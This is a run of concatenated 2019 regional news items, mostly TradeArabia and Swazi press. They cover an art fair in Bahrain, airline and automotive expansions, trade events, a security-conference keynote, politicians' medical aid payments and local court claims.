The Canvas Hotel Dubai MGallery by Sofitel is a 164-key hotel, ideal for leisure and business travellers due to its proximity to Dubai International Airport, Dubai World Trade Centre, Dubai Mall and other popular attractions such as the Creek, Gold Souk, La Mer and Al Seef. - TradeArabia News ServiceThe fourth edition of ArtBAB 2019 (Art Bahrain Across Borders), the Middle Easts youngest and most promising art fair, will take place from March 6 to 10, 2019 at the Bahrain Exhibitions & Convention Centre.



Held under the patronage of Her Royal Highness Princess Sabeeka Bint Ibrahim Al Khalifa, Wife of the King of Bahrain, President of the Supreme Council for Women and a keen supporter of the Kingdoms cultural heritage, the theme of the exhibition will be Legacies, which will explore the nearly 50 year-old Bahraini contemporary art scene and its foundation in the Kingdoms rich art heritage.



At the same time, the exhibition is pushing boundaries and will offer visitors a truly multi-layered and multi-dimensional experience through exposure to a Virtual Reality Corner that allows exploration of some of the worlds leading private museums and a diverse Speakers Programme that will bring together art foundations, cultural districts and museums with fintech, blockchain, AI and VR specialists.



We are proud of the unique conversations that we have started about Bahraini art around the world  in 2018 alone, our supporting project Artists Across Borders has taken 25 Bahraini artists to Paris, Moscow, Singapore and the UK, said Shaikha Maram bint Isa Al Khalifa, director of the Office of Her Royal Highness Wife of the King of Bahrain, In the 2019 edition of the fair, we shall explore not just the heritage and legacies that inspire Bahraini contemporary art but also the new directions of art on the global stage. We shall also have a beautifully curated Artisanal Room featuring special installations and large masterpieces rooted in the traditional skills of Bahraini crafts heritage.



Kaneka Subberwal, fairs and programme director of ArtBAB 2019, said: The art fairs 2019 edition would be an exciting amalgam of Bahraini art and cutting-edge trends discussed during the conference. This year, in a first for the region, ArtBAB will take visitors beyond the canvases of the gifted artists of Bahrain and the gallerists who bring some of the famous contemporary artworks to showcase at the fair and take them not just across borders but across time-frames too.



First ever VR tour

Subberwal said: Our Virtual Corner at ArtBAB 2019 truly takes the art experience beyond borders  the public will be able to have three different VR experiences using Vive Pro Headsets and literally touch celebrated contemporary Chinese art collections, 17th century Dutch and Flemish masterpieces as well as millennial VR artwork.



Dslcollection, a VR Private Museum from France will feature world prominent Chinese Contemporary Artists- Cao Fei, Tang Song, Ge Guanzhong, Jia Aili, and Chen Wenbo; The Kremer Collection, a VR Private Museum from Netherlands will feature 17th Century Dutch and Flemmish great masters such as Gerrit Dou, Pieter de Hooch, Frans Hals, Jan Lievens, Rembrandt, Michael Sweerts & Gerrit van Honthorst and Khora Contemporary, a VR Production house, co-founded by Faurschou Foundation, a private museum in Denmark will showcase works of other prominent contemporary artists.



About art, culture and technology

In its effort to decode the intersection between art, culture and technology, ArtBAB 2019 will host an impressive array of speakers through a series of panel discussions, debates and interviews.



The Bahrain art fair will also be launching a world premiere on Art & Islamic Finance during the conference, as a debate between Deloitte Art & Finance and Deloitte ME Islamic Finance and Knowledge Centre (IFKC). The use of big data and analytics in helping collectors better manage liquidity, risk and volatility will also be explored with valuable insights from Christies and ArtTactic alongside live demos from CollectorIQ, MutualArt and Pi-eX.



Industry leaders underpinning the conversation about the blockchain art market revolution to improve provenance and unlock digital trade routes will include Bahrain Fintech Bay, BlockchainHub, Artory, Verisart, Arius Technology, ID4ARTS and Dadiani Syndicate.



The conference will also discuss topics around arts philanthropy and arts patronage to empower cultural development in the Arab World and the growth of cultural and educational districts in building a creative economy, moderated by Arab Fund for Arts and Culture (AFAC) and Global Cultural District Network (GCDN). This will feature speakers from Dublin City Gallery, The Hugh Lane, West Kowloon Cultural District Authority, Kuwait National Cultural District, National Museum of Singapore, Salama Bint Hamdan Al Nahyan Foundation, A.M.Qattan Foundation, The Kamel Lazaar Foundation and many others.



Jason Bailey, founder of Artnome, the world's largest analytical database will chair one of the art world's biggest debates on AI and Artistic Creation, exploring the role of AI and machine learning in replacing humans. Robbie Barrat, a 19-year old who developed the code for the first AI Generated Portrait of Edmond de Belamy by the Paris collective, Obvious that was auctioned at Christie's will take centre stage with Mario Klingemann, a pioneer in the use of computer learning in the arts and a Google Arts and Culture resident, and Nature Morte Gallery. KlarisLaw will explore copyright issues on AI-Generated Art.



VRFocus, a virtual reality specialist website will close the conference with an exclusive interview with VIVE Arts and moderate a panel discussion on VR as a Game Changer for the Arts with dslcollection, The Kremer Collection, Khora Contemporary, Vastari and The National Gallery London.



Bahraini platform

We are excited about the return of our showcase of Bahraini artists, BAB, which has attracted over 100 artists this year, said Subberwal, Our Selectors Panel consisting of Amal Khalaf- projects curator, Serpentine Galleries, London, Nathalie Angles- co-founder and executive director of Residency Unlimited, New York, Rebecca Anne Proctor- editor-in-chief, Harpers Bazaar Art Arabia and Snejana Krasteva- curator, Garage Museum, Moscow shall be finalising the artworks that we shall display in the central space at the venue, putting the focus firmly on our Bahraini artists.



Another major impactful move from ArtBAB 2019 will be the redefining of Bahrains rich crafts heritage through a contemporary design input. Visitors can view large modern installations of Bahraini crafts seen from a fresh perspective and explore chic, contemporary modernized Bahraini crafts that will take to the world a new portrait of Bahrain as a country which is open to contemporary thought and where the timeless old traditions adapt to new thought without losing their essence.



We have taken the talent and the historical memory of craftsmanship that sustains Bahrains crafts, passed it through the prism of contemporary sensibility and created a chic, art-based version of Bahraini craft pieces that will have global appeal. We have applied the same skills and rules but to create very different things, Subberwal said.



We believe that our Artisans Across Borders initiative will open new creative channels and is an important step in nurturing a sustainable economy for the creative energy of the Kingdom, making the arts and crafts relevant in the new millennium.



This fourth edition of ArtBAB aims to reinforce Bahrains position in the Gulf as a regional arts hub, inspiring entrepreneurship, art education and local skills development. - TradeArabia News Service

Emirates has announced plans to launch a new daily service between Dubai and Cambodian capital Phnom Penh, via Bangkok, starting on June 1.



The service will provide passengers travelling between the capital cities of Cambodia and Thailand with more flight options. Travellers from both Southeast Asian nations will also enjoy access to Emirates global network, with enhanced connectivity to over 150 destinations in 86 countries and territories.



The new service will be operated with an Emirates Boeing 777 aircraft. Flights to Phnom Penh will depart daily from Dubai International Airport (DXB) at 0845hrs local time, as EK370, and arrive in Bangkok at 1815hrs. The same flight will then depart Bangkok at 2000hrs, before arriving at Phnom Penh International Airport at 2125hrs. On the return segment, flight EK371 will depart Phnom Penh at 2320hrs, and will arrive in Bangkok at 0040hrs, the following day. It will then set off to Dubai at 0225hrs, arriving at 0535hrs. All times are local.



Emirates has been serving Cambodia with its flights to Phnom Penh since July 2017, carrying over 100,000 passengers on the route to date. As Cambodias largest and most rapidly developing city, Phnom Penh contributes significantly to the countrys economic growth and continues to witness a significant increase in foreign tourist arrivals. Trade links between the UAE, Cambodia and Thailand will also be supported with daily Emirates cargo services on the same route.



We are pleased to enhance our services to these popular Southeast Asian destinations and offer more choices for travellers in Cambodia and Thailand. Passengers will not only be linked directly through our daily service, but will also have access to a host of domestic and regional routes from the two countries via Emirates codeshare partners Bangkok Airways, Jetstar Pacific and Jetstar Asia, said Adnan Kazim, Emirates' divisional senior vice president, Strategic Planning, Revenue Optimisation and Aeropolitical Affairs.



Emirates has been proudly connecting the UAE to Cambodia since 2017, and we look forward to building on the success of this route with our new link through Bangkok. The service will provide travellers from Cambodia with easy access to Dubai and Emirates vast global network of destinations, while also offering more choice and flexibility for tourists and its citizens residing overseas to travel to Cambodia, including those from Thailand. We aim to serve the healthy passenger demand, as well as deliver economic benefits, by providing air links that support tourism and the transportation of cargo, continued Kazim.



Emirates SkyCargo began its operations in Cambodia in April 2016 and has transported over 5,000 tonnes of cargo exports in the last two years. Cambodias major exports include garments, sportswear and shoes. Cambodian exports have seen double-digit growth year on year and Emirates is committed to supporting this growth in trade with its efficient air transport services and bespoke air cargo products.



Emirates, in cooperation with its regional codeshare partners Bangkok Airways, Jetstar Asia and Jetstar Pacific, will offer customers enhanced connectivity and the ability to build travel itineraries that include other domestic destinations in Cambodia, Thailand and other Southeast Asian countries. The daily service between Dubai and Phnom Penh, via Bangkok, will also complement Emirates five direct daily services between Dubai and Bangkok. From Bangkok, travellers can also fly directly to Hong Kong on Emirates. In addition to the Thai capital, Emirates also operates 14 weekly flights between Phuket and Dubai in the winter (seven weekly flights during summer season). - TradeArabia News ServiceAmadeus has announced that it will be repositioning its offerings in Bahrain by transitioning its local customers to a new distributor entity under the name of Amadeus Bahrain.



The new company will be the exclusive distributor of Amadeus solutions throughout the kingdom, providing local airlines, airports, hotels, travel agencies, and other travel players with access to the full breadth of Amadeus technology.



Travel companies in Bahrain had previously worked directly with Amadeus Gulf, which is a regional joint venture that continues overseeing the companys operations in the UAE and Oman.



The new Amadeus Bahrain entity will be headed by longtime industry veteran and Bahrain resident Daniel Naoumovitch, who joins in the capacity of managing director. Additional Amadeus support staff will transfer to the new entity, with all Amadeus contracts in Bahrain remaining unchanged and assigned to the new entity, ensuring a seamless transition of operations.



Antoine Medawar, senior vice president Retail Middle East and Africa: We are fully committed to the high standards of service and support that Amadeus is known for, and believe this move will enable us to enhance those offerings in the future.



Bahrains tourism industry is booming as the Kingdom expects to welcome 15 million annual visitors by 2020  equivalent to roughly nine times the kingdoms population. The sector also accounts for approximately 9.7 per cent of the countrys GDP, with tourism revenues projected to top $1 billion by 2020, according to recent figures from the Bahrain Economic Development Board.



Naoumovitch said: I am thrilled to be part of the Amadeus family and the new organisation being established in Bahrain. We look forward to energising Bahrain's rapidly expanding travel industry by capitalizing on Amadeus' state of the art technology and unparalleled partner network.



Graham Nichols, managing director of Amadeus Gulf, said: We are thankful to all our customers in Bahrain over the years, and have full confidence that Amadeus Bahrain will be a valued partner in their business growth. With a strong understanding of the market in the kingdom, Naoumovitch is the ideal choice to lead the business in Bahrain.



Amadeus offers access to a team of more than 17,000 people around the world located in more than 190 countries. - TradeArabia News ServiceNissan Motor and Groupe Hasnaoui will invest a total of $160 million in a new Nissan vehicle plant in Algeria to meet growing customer demand in the country and across Africa.



The two companies will set up a joint venture in coming weeks, having received approval by the Algerian government on December 6, 2018, said a company statement.



The plant will have the capacity to build 63,500 passenger cars and light commercial vehicles annually, and will produce several models. Details of the lineup will be announced at a later date, it said.



Nissan aims to double its presence in the Africa, Middle East and India region over the course of the companys Nissan M.O.V.E. to 2022 midterm plan, it added.



Expanding industrial operations into new markets, like Algeria, is part of the growth strategy. The move into the market follows Nissans announcement last year that it will start making cars in Pakistan.



Algeria is forecast to be the second-largest car market in Africa by 2021. The government is working to diversify the economy and has set a target to ultimately raise production to 500,000 cars a year, while growing the local supplier base.



The Nissan car plant is expected to create at least 1,800 jobs in Algeria and support many more in the supply chain. Nissan teams from Japan will work with suppliers in the country to develop the local component industry through technical support, training and skills exchange.



Peyman Kargar, senior vice president and chairman of the Africa, Middle East and India region for Nissan, said: We will bring new models and innovative technology to meet the growing expectations of customers in Algeria.



Working with Groupe Hasnaoui, we already have a strong heritage of excellent products and service in the country. Using our Japanese engineering expertise, we will build a manufacturing hub and work to develop the supplier industry, he added.



Groupe Hasnaoui, founded in 1964 by Abdallah Hasnaoui, is a major player in the Algerian economy with interests in industry, distribution and services. The company is committed to creating value in the Algerian economy and is headed by its two co-presidents, Feriel Hasnaoui and Sefiane Hasnaoui.



Groupe Hasnaoui is Nissans distributor in Algeria. The two companies have been partners for 25 years.



Sefiane Hasnaoui, president of Groupe Hasnaoui, said: With an industrial strategy based on employment and localisation - the only guarantees of our country's economic development - and a real creation of sustainable value for our national economy this investment will give us the status of wealth creation and generate industrial expertise.



The new plant in Algeria will increase Nissans total potential capacity in Africa to about 200,000 vehicles. The number includes existing factories in South Africa, Egypt and Nigeria.



Nissan Algeria  a subsidiary of Groupe Hasnaoui  will also expand its existing national network of 35 outlets in line with an anticipated increase in sales volume that will place Nissan within the top tier of auto brands in Algeria by 2021, it stated.  TradeArabia News ServiceThe Middle East region is poised to grow as a hub for the ethylene industry because of its ability to provide raw materials at a competitive price, Bahrains Oil Minister Shaikh Mohammed bin Khalifa Al Khalifa said.

Inaugurating the third Ethylene Middle East Technology Conference and Exhibition (EMET), Shaikh Mohammed said the Arabian Gulf region holds a prime position in the world of petrochemical industry as it is the main supplier of ethylene in the world.

He stressed that the best way to identify profitable ways of taking advantage of the ethylene market is to understand the trends and impending shifts in the dynamics of this important industry.

The minister emphasised the importance of sustainability in the bio-petrochemical sector, which plays a key role in achieving global competitive advantage by attracting skills and manpower.

As well as meeting the requirements and expectations of customers that undoubtedly contribute to reducing costs, the minister stressed that sustainability is the only way to ensure the continuity of success and prosperity.

The conference held under the slogan "Enhancing competitiveness through energy efficiency, cost effectiveness and reliability assets and human capital" is organised by the Middle East Energy Events Company in cooperation and coordination with the National Oil and Gas Authority (Noga) and with the support from a number of local, regional and international companies and over 1,000 participants including experts, engineers, executives, institutes and related specialised universities.

The minister expressed his appreciation for the efforts, the positive support and the keen interest provided by the government under the leadership of His Majesty the King, for supporting such global events.

The accompanying exhibition which had more than 1,000 participants from 20 countries across the world, included a distinct programme through which scientific research and practical experiments were presented and discussed by global speakers, executives, and senior officials of oil companies and other related firms.

The conference included topics about the competitive landscape, the changing petrochemical sector in the GCC countries, the importance of operational excellence, crude oil to chemicals technology, linear programming techniques and other important topics. -- Tradearabia News ServiceDubai-based Binghatti Beverages, the beverage manufacturing arm of Binghatti Holding, will unveil its latest ground-breaking products at the upcoming 24th edition of Gulfood to be held next week, in Dubai, UAE.



Gulfood, the worlds largest annual food and beverage trade exhibition, will take place from February 17 to 21, at the Dubai World Trade Centre (DWTC).



Established to provide world-class beverages catering to the unique tastes of the Middle East, Binghatti Beverages focuses on capitalising on the regions growing FMCG industry by commercialising the traditional juice flavours ethnic to the Middle East.



The company intends on using its platform at Gulfood to unveil and showcase its latest products and brands in the UAE and hit the ground running with its state-of-the-art production facility in Kizad, Abu Dhabi.



The fast-growing company invested more than Dh500 million ($136.12 million) in its Kizad based production facility with a plot spanning over more than 1 million sq ft. This facility produces several products, such as Raubi of London and Milkster, which are sold at many stores including Carrefour and Zoom Market, in addition to many different cooperatives.



The company also exports its products to several markets in the Middle East and Africa and is supported by its own FMCG distribution firms located in the UAE, Lebanon, Jordan, Iraq, and the UK.



Binghatti Beverages has begun implementing its aggressive growth strategy with intentions to enter new markets in the GCC and Africa before expanding into the massive markets of India, Pakistan, China, and Southeast Asia.



The company plans on using the UAEs diverse cosmopolitan community as a baseline for predicting trends in the FMCG industry over the next five to ten coming years.



Thus far, Binghatti Beverages products have only relied on ordinary marketing and word of mouth campaigns to develop its exposure. The quality and taste of the companys products have truly spoken for themselves and millions of people throughout the Middle East and Africa have chosen Binghatti Beverages products for their distinctive tastes and quality.



Binghatti Beverages has lately taken the spotlight during the 9th edition of SIAL Middle East exhibition by receiving the 2018 best food establishment award from the Food Control Division of the Abu Dhabi Food Control Authority.



The leading company received this award thanks to its high-quality standards, dynamic growth and success led by its chief executive officer and head of Architecture Muhammad BinGhatti.



The innovation, vision, and confidence of the companys leader allowed Binghatti Beverages to become a fast-growing company offering high-quality beverages products. The company was given this award at the Abu Dhabi National Exhibition Centre (Adnec) during the SIAL Middle East exhibition on December 12, 2018.



Muhammad BinGhatti, CEO and head of architecture at Binghatti Holding, said: Gulfood is the worlds premier event for FMCG which has over the years proved to be the ideal platform for us to showcase our latest products and achievements to different visitors and businesses.



We intend on capitalising on our position at the event to meet with the best agents and distributors in the region in our quest to become the number one beverages company in the Middle East, he added.



We are honoured to unveil our latest products and brands during the event which is expected to attract upwards of 98,000 attendees from 198 countries with 5,000 exhibitors and 120 country pavilions vying for business, he added.  TradeArabia News ServiceUS-based Endgame, a leader in unified endpoint protection against targeted attacks, has announced that chief scientist Hyrum Anderson will conduct a keynote talk addressing the role of artificial intelligence (AI) in todays security landscape at the Cyber Defense Summit (CDS) in Riyadh, Saudi Arabia.



The talk is based on Endgames proven success leveraging machine learning (ML) for threat detection and intelligent agent Artemis for scaling and elevating security teams within organisations today, said a company statement.



While AI adoption has grown in popularity, a standardised way to assess the capabilities or weakness of AI in endpoint security products has not. Anderson will stress that the reasons AI is compelling have less to do with robots and general artificial intelligence, and more to do with simple concepts.



Anderson has a formal education in machine learning, with applied information and national security experience at cybersecurity firms and US national laboratories.



Andersons talk, Beyond the AI buzzwords: a balanced perspective of AI in security, is scheduled for today (February 13).



Anderson said: Our machine learning continues to scale and elevate tier-1 analysts, and also detect malware and malicious activity in a single agent across the MITRE ATT&CK matrix.



Unfortunately, the industrys attempts to teach and market effective machine learning technology may actually have poisoned understanding and expectations about what they do. And this, rightfully, has caused some skepticism by practitioners, he said.



The key challenge has been a mismatch between perception and practice. The industrys branding of AI as narrowly focused ML for detection has misdirected attention away from other advances in guided triage, automated response, and assisted workflow, he added.



Anderson will discuss key misconceptions about effective machine learning technology in information security. He will dive into what the different buzzwords mean from a practitioners perspective and what the bottom-line benefits actually are.



Avinash Advani, chief executive officer, Spire Solutions, said: This year we anticipate that cyber attackers will be leveraging AI in their playbooks to identify vulnerabilities and automate tactics at scale.



To effectively counter these attacks with a robust defensive strategy, it is important to have a security foundation in place that is also derived from similar concepts and focuses on advanced threat detection, he said.



This elevated intelligence enables SOC teams to prevent large-scale breaches and rapidly respond to incidents. Endgames machine learning capabilities take thinking like an attacker to the next level, he added.



CDS is powered by Endgames partner, Spire Solutions, the Middle Easts preferred security solution provider, it stated.  TradeArabia News ServiceAKVA group or the "Company" announces that Evy Vikene has resigned as board member in the Company. The Company would like to thank Ms Vikene for her considerable contribution to the Company during her directorship.

The Board of Directors

AKVA group

Dated: February 13th, 2019

AKVA group ASA

Web: www.akvagroup.com









This information is subject to the disclosure requirements pursuant to Section 5-12 the Norwegian Securities Trading ActPreparations are underway for the Gulf Construction Expo, the leading construction and building expo in the Northern Gulf region, which kicks off on April 23 at the Bahrain International Exhibition and Convention Centre.



The three-day event is being held under the patronage of HRH Prince Khalifa bin Salman Al Khalifa, Prime Minister of the Kingdom of Bahrain, said the event organiser Hilal Conferences and Exhibitions (HCE).



Jubran Abdulrahman, the managing director of HCE, said: "The annual expo continues to build on the events successful foundations set over 10 years ago. This years Gulf Construction Expo carries the strategic sponsorship of Haji Hassan and Tamkeen."

Gulf Construction Expo is held annually in conjunction with two other major events - the Gulf Property Show and Interiors Expo - thus providing the biggest integrated business-to-business showcase for the construction, interiors and property sectors ever to be staged in the Northern Gulf.



"The exciting aspect for 2019 will be the attraction of companies from Saudi Arabia and around the world," stated Abdulrahman.



In addition to the backing from Haji Hassan and Tamkeen, Gulf Construction Expo has the specific sector support of Universal Rolling as the Steel Products sponsor and Amna Politerm Blu leading the Green Technology sector in construction and building materials.



"Gulf Construction Expo will remain an innovative showcase for the construction sector by continuing to deliver a dedicated showcase for the construction sector attracting a targeted visitor base of property developers, interior designers, architects, consultants and contractors, procurement managers and investors from around the GCC," added Abdulrahman.-TradeArabia News ServiceSolar United Neighbors Pennsylvania Program Director Henry McKay, left, stands with Warners Bakery owners Kathy and Larry Licht. The Lichts are among the 22 members of the Crawford-Mercer Solar Co-op, a group seeking to purchase and install solar panels for discounted rates.MBABANE  While government is offering civil servants zero per cent CoLA, 395 politicians have successfully negotiated payment of their medical aid worth about E3.7 million.



The 395 politicians are bucopho and tindvuna tetinkhundla, who have been up in arms against government for the non-payment of their medical aid benefit as per the provisions of the Finance Circular No.2 of 2013.



The country has 59 tindvuna tentinkhundla from the equal number of constituencies, while there are 336 bucopho members from all the chiefdoms in the country. This is not the first time that government has prioritised the payment of politicians to other debts such as the payment of its suppliers and purchasing medical equipment.



Outstanding



Just last month, government paid out about E55 million to former parliamentarians while other debts remained outstanding.

The politicians were informed to go and sign-up for their medical aid forms today and on Thursday, and the medical aid service provider is SwaziMed, just like Members of Parliament (MPs) and Cabinet ministers. All the politicians fall under the SwaziMed High Benefit.



According to Lobamba Indvuna Yenkhundla Bhekisisa Bhembe, who spoke on behalf of the Hhohho Region group, he believed that the benefit was being given to them because they had engaged the services of attorneys, trading as T.R Maseko Attorneys.



Tindvuna tentinkhundla earn about E7 400 per month and according the SwaziMed Benefit Guide 2018, the monthly contribution for a member who earned above E6 000 per month, was E2 390.



It should be noted that Finance Circular No.2 gives full medical aid cover for the member, spouse and their dependants.

Independent calculations made by this reporter indicate that a month, government would have to pay about E141 010 for the 59 tindvuna tetinkhundlas medical aid cover.



On the other hand, bucopho who earn a basic salary of about E6 000, according to the SwaziMed Benefit Guide of 2018, could contribute about E2 372 per month for an individual member. In total, government per month is expected to contribute about E796 992 for the 336 bucopho members. The aforementioned figure excludes the spouses and dependants.



Presently, government is in arrears of three months as both the constituency headmen and bucopho were not recipients of the benefit from the months of November 2018 until January 2019, yet other parliamentarians were recipients of the full benefit. The outstanding total is therefore E3 752 008 and could be higher since the above calculations do not include spouses or children.



Making noise



The headmen and constituency councillors have been making noise about the lack of the benefit, to the extent that they alleged that Minister of Tinkhundla Administration and Development David Ngcamphalala, had banned them from radio and further called the police on them.According to the Gartner CMO Spend Survey 2018-19, three tried-and-true digital media categories  paid and organic search, website and email  represent 25% of the average marketing expense budget. This fact translates to over four million advertisers using Google Ads and over five million businesses advertising on Facebook each month as companies reallocate marketing dollars to where their consumers are spending time - online. Marketing leaders are spending advertising dollars where its effective, but also are motivated to optimize these efforts using marketing analytics data.

According to Deloittes most recent biannual CMO Survey, conducted by Duke Universitys Fuqua School of Business, responses signal a healthy appetite for analytics: Over the next three years, spending on marketing analytics as a share of overall marketing budgets is forecast to increase by more than 200 percent. As businesses spend more advertising online, it only makes sense to invest in marketing analytics that track and measure the impact of digital marketing by linking individual purchases and leads back to a campaign. Tools such as the Google Ads Click Identifier, help companies identify the businesses that are clicking through their Google Ads campaigns in real-time. As mentioned in the Wall Street Journal report, CMOs to Double Down on Marketing Analytics, Customers typically make instantaneous decisions these days, so companies need tools that can help them act as quickly. A sales organization for example, can build a system that enables its professionals to predict which prospects are likely to convert and which are likely to churn.

The Ads Click Identifier was developed using Fastbase's proprietary business data, which was also used to develop the popular Add-on to Google Analytics that's used daily by over a million companies and top brands worldwide. The new tool not only reveals such detailed information as company name, address, phone number, website, contact and email information, but also identifies the exact keywords and advertisements that were clicked on by each visitor. Using the Ads Click Identifier, businesses are now able to discover new business opportunities, analyze and optimize their best performing ads, and contact the companies that have shown interest in their ads in real-time.

The Ads Click Identifier is currently free to use, but the price is expected to rise later in the year to $549USD/month. All Google Ads users with access to Google Analytics can instantly view campaign data for free at https://googleads.fastbase.com







MBABANE  Do politicians ever belt-tighten during fiscal challenging times in the country?

Some members of the public sector associations (PSAs) have come out guns-blazing when it comes to government expenditure. The unionists were reacting to government paying tindvuna tetinkhundla and bucopho their medical aid.



This is a benefit the politicians are to receive starting this month and amounts to E3 752 028.

Sikelela Dlamini, Secretary General of the Swaziland National Association of Teachers (SNAT), wondered whether politicians developed amnesia to the fiscal crisis when it came to their well-being, or only those responsible for being productive within the government machinery had to bear the brunt of the monetary challenges.



He said the move by government to award the 395 politicians this benefit, showed lack of priorities in the bureaucracy.

Government has failed to afford civil servants the cost-of-living adjustment (CoLA) for two consecutive years but within four months, they have agreed to pay medical aid for tindvuna tetinkhundla and bucopho, Dlamini said.



The unionist said this depicted that government failed to prioritise and reward people with skills but preferred those with no particular skills.



Failed



Noting that government had failed for a lengthy period to pay suppliers and rendered some of the citizens unemployed; failed to provide medical supplies and equipment in hospitals, such expenditure should not have been a priority.



Where does the money for politicians come from as we use the same coffers?

Dlamini lamented that government was taking civil servants for granted as it did not make sense to have money to attend to a certain group of people and ignore another. The unionist said according to his analysis, government was setting them (civil servants) against the people.



Supporting Dlaminis rationale was Aubrey Sibiya. The President of the National Public Service and Allied Workers Union (NAPSAWU), said they had come to believe that civil servants were treated like farm labourers in the country.



He said farm labourers were at the mercy of their employer and could be told there was no food while the same meals they sought were offered to pigs. Sibiya said that was the case in his opinion of what was happening in the country.



The important people are not catered for, Sibiya said. The unionist said the politicians were more about their welfare, and that was evident in that when they met His Majesty King Mswati III, before presenting what they were planning to do for the country, all they were concerned about was how much they would earn.



This, according to Sibiya, evoked the question on whether the politicians were pro-people or they were more concerned about their welfare. He said the same government that had caused some households to be without a source of income due to the snails pace in paying suppliers, had found means to raise money necessary for the medical aid for politicians.MATSAPHA  Well-known business mogul Tommy Kirk became emotional as he narrated claims of how he was allegedly being victimised by Matsapha Town Council administration.



This took place when the businessman delivered his submissions before the Commission of Inquiry into the affairs of Matsapha Town Council yesterday.

As he outlined his accussations, against council, especially the office of the chief executive officer (CEO), which was occupied by the then Town Clerk Gciniwe Fakudze, a seemingly emotional Kirk was seen constantly looking up and down.



Sensitivity



Thereafter, Commissioner Benito Jones told the businessman that they understood the sensitivity of the topic he was talking about and as a result, he could be too emotional as he seemed to be.

The commissioner said they could allow him to move to another topic so that he could calm down and thereafter he could carry on with his submissions on the sensitive subject.



However, the businessman, who proved to be strong, said he was about to finish the topic and asked to carry on so that he could not confuse things.

He claimed that his family owns a plot across Lusushwana River and in 2012/13 financial year, council allegedly incorporated it into a commercial plot.

He alleged that he took the matter to court but later decided to withdraw it because he did not want anything that would draw negative publicity about the council since that could scare away investors.



All the submissions remain allegations as their veracity is yet to be tested in court.

Furthermore, the businessman alleged that this was despite the fact that council had allegedly changed the plot from an agricultural plot to a commercial one in a bid to up its rates.



Again, he alleged that at Matsamo Complex in Mahhala, the former CEO Gciniwe Fakudze, allegedly went all out to destroy him. He alleged that Fakudze sent a delegation of public transport operators who wanted to set up a bus rank in front of his complex.



Police



He further claimed that later on, the former CEO allocated the Royal Eswatini Police Service (REPS) piece of land at Mahhala, which was outside councils jurisdiction, to set up a temporary police post.



He claimed that this was despite the fact that some years back, he had allegedly given the police a structure to use as a police post free of charge.

Currently, the businessman alleged that one of his childrens plot would soon be up for grabs as council allegedly went behind the court to obtain an order to auction the land yet the matter was still pending in the court of law.



On the same note, Kirk alleged that the incumbent CEO Lucky Sukati seems to be following in his predecessors footsteps. He claimed that this was because last Wednesday when he came out of the commission, he came across the incumbent CEO who allegedly said, Tommy, basi bomber mani. Kepha nguwe lobekakhwetelalomlilo.



I responded by saying: bengikhwetela umlilo lobaswenguwe, alleged the businessman.

With the above allegations, which he claimed were among others which he could not spell out because of time constraints, the businessman alleged that he was made to believe that the council, through the office of the CEO, was trying by all means to frustrate every turn he took.MBABANE  Amandla Financial Services is demanding over E176 000 from Rapid Stationery (PTY) Limited.



The financial service provider has since instituted legal proceedings against the popular Mbabane-based stationery and its Director, Bongani Jele. The exact amount which Amandla Financial Services is demanding from the stationery company is E176 988.



Amandla is a corporate entity incorporated in accordance with the company law of the Kingdom of Eswatini, engaged in the business of money lending. Its principal place of business is located on the second floor, Development House, Swazi Plaza in Mbabane.



Advancement



According to the plaintiff (Amandla Financial Services) the aforementioned amount was in respect of a loan it advanced to Rapid Stationery (PTY) Limited.

In its particulars of claim, the plaintiff submitted that in October 2018, the stationery company duly represented by Jele approached it for purposes of acquiring a loan for the advancement of E150 000 to buy stock in order to satisfy orders and supply its clients with stationery.



These are allegations contained in particulars of claim whose veracity is still to be tested in court and the defendant in yet to file its papers in the event it is disputing the claim against it.

Accordingly, the plaintiff considered the first defendants ( Rapid Stationery) application agreed to loan and advance the defendant the sum of E150 000 and thus on October 17, 2018 entered into a written agreement, reads part of the particulars of claim filed by the plaintiffs lawyers from Mtshali Simelane Attorneys.



According to the plaintiff, during the signing of the agreement, it was agreed that the plaintiff would loan and further advance the defendant the sum of E150 000 and that the loan would become due and payable in 60 days after the first disbursement.



Inclusive



It was also allegedly agreed between the parties that the defendant on the aforementioned due date was to repay to the plaintiff the sum of E168 000, which was inclusive of the initial loan and interest thereon.

During the signing of the purported agreement, the plaintiff was represented by Laurentia Tsuen while Rapid Stationery (PTY) Limited was represented by Jele.



According to the combined summons, it was further agreed that in the event the defendant defaulted in repaying the aforementioned sum, a penalty fee of five per cent monthly (compounded daily) would be charged by the plaintiff on the outstanding balance until the balance was settled in full.MBABANE  The Public Service Pension Fund (PSPF) intends to evaluate the eye-catching Sibekelo House.



The fund has presented a business opportunity to suitably qualified property valuers to undertake the job at the investment properties, which is 100 per cent owned by the fund.



The current value of the multimillion Emalangeni building could not be immediately ascertained. It was explained that the fund would not bind itself to accept the lowest or any tender. The fund reserves the right to reject any or all tenders. First preference will be given to Eswatini companies, PSPF clarified.



Determination



It was pointed out that experience in works of similar nature and size for each of the last two years with details of works under way or contractually committed would be taken into account when determining who will eventually enter into a contract with the fund. The contract will be for the whole project based on the bid price submitted by the bidder.



All duties, taxes and other levies payable by the property valuer under the contract shall be included in the total bid price submitted by the bidder, said the fund in the invitation to tender document.

The prices quoted by the bidder will not be subjected to adjustment during the performance of the contract. The Public Service Pensions Fund (PSPF) is a public organisation established in 1993 for the management and administration of pensions for government (public sector) employees.



The scheme is run as a Defined Benefit (DB) pension and provides the following products for its members and their dependents;

As at March 31, 2017 the fund had 39 498 active (contributing) members, 8 000 pensioners (retired members) and 16 225 dependents (beneficiaries) including children and spouses, all of whom receive a pension benefit from the fund.



It is fully administered in-house and financed through employer and employee contributions of 15 per cent and 5 per cent of basic monthly salary respectively.



Information



The market value of assets of the fund reached E20 billion in 2015 translating to a funding level of 90.3 per cent.

While the total assets grew year on year, the funding level declined marginally owing to the increase in liabilities mainly due to the growth in beneficiary numbers.



Of the total assets base, the 30 percent local requirement (over E5 billion) was invested in various instruments in the Eswatini market and the rest offshore.

It should be mentioned that it recently cost pensioners E170 million to own a 50 per cent stake at one of the largest shopping centres in the kingdom, The Gables.

This was through the acquisition of 50 per cent shares of The Gables (Pty) Ltd by PSPF, a public organisation established in 1993 for the management and administration of pensions for government (public sector) employees.



Transaction



The centre comprises of a cinema, restaurants, banks, tourism facilities and corporate offices among other features. PSPF previously explained that it considered purchasing a stake of The Gables, a viable investment due to its strategic location.

Major ongoing developments at Ezulwini include the multimillion International Convention Centre, Five Star Hotel and Eswatini Revenue Authority Headquarters.



